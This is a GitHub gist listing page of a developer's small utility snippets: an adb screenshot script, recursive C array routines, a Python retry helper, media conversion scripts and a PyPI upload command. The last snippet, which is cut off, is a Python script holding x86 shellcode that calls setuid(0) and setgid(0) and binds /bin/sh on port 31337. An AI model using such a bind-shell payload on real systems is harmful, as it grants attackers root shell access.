Skip to content

Instantly share code, notes, and snippets.

View dakk's full-sized avatar
Working from boat

Davide Gessa dakk

Working from boat
View GitHub Profile
@dakk
dakk / adb-scrot
Created September 26, 2014 19:37
Get a screenshoot from adb
#!/bin/bash
/opt/adt/sdk/platform-tools/adb shell screencap -p | perl -pe 's/\x0D\x0A/\x0A/g' > $1.png
@dakk
dakk / recdel.c
Last active August 29, 2015 14:16
Remove an element from an array and re-compact it, with recursion
#include <stdio.h>
#include <malloc.h>
#define N 8
/** Recursive delete like a pro
* where: 'ar' is the array, 'n' is the size, 'start' is 0 when
* called first time, 'irem' is the index of element to remove.
* @return the new size of the array (n-1)
@dakk
dakk / exitseq.c
Created March 6, 2015 23:08
Array exit sequence with recursion
#include <stdio.h>
#include <malloc.h>
#define N 9
#define M 5
void print_ar (int *a, int n)
{
for (int i=0;i<n;i++) printf ("%d ", a[i]);
Verifying that +dakk is my openname (Bitcoin username). https://onename.com/dakk
@dakk
dakk / try_for.py
Created May 22, 2015 13:14
Try done (fun(par)) Except retry
def try_for (fun, par, done, times):
while times > 0:
try:
a = fun (par)
done (a)
return
except:
times -= 1
time.sleep (1)
@dakk
dakk / julia_set.ml
Created November 8, 2012 16:38
Julia Set rendering
(*
Copyright (c) 2012, Davide Gessa (dakk)
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided
that the following conditions are met:
- Redistributions of source code must retain the above copyright notice, this list of conditions and the
following disclaimer.
- Redistributions in binary form must reproduce the above copyright notice, this list of conditions and
@dakk
dakk / youtube-md.sh
Created November 11, 2012 11:26
Downlaod a video from youtube and get the audio as mp3
TITLE=`youtube-dl $1 -e`
youtube-dl $1 -o "$TITLE.flv"
ffmpeg -i "$TITLE.flv" -f mp3 "$TITLE.mp3"
rm "$TITLE.flv"
@dakk
dakk / stripgif.sh
Created November 12, 2012 15:04
Create an image strip from an animated gif
montage $1 -coalesce -geometry '+0+0' -tile x1 -background none -bordercolor none montage.gif
@dakk
dakk / gist:8b24257ea6ef574b1ccf
Created October 14, 2015 10:55
Upload a project to pypi repository
python3 setup.py sdist bdist_wheel
twine upload dist/*
#!/usr/bin/python
import sys
from socket import *
# *** Generated with libShellCode
# setuid(0) + setgid(0) + bind(/bin/sh) on port 31337
shellcode = \
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x31\xdb\xb0\x2e\xcd\x80" + \
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80" + \
"\x89\xc7\x31\xc9\x66\xb9\x7a\x69\x52\x66\x51\x43\x66\x53\x89\xe1" + \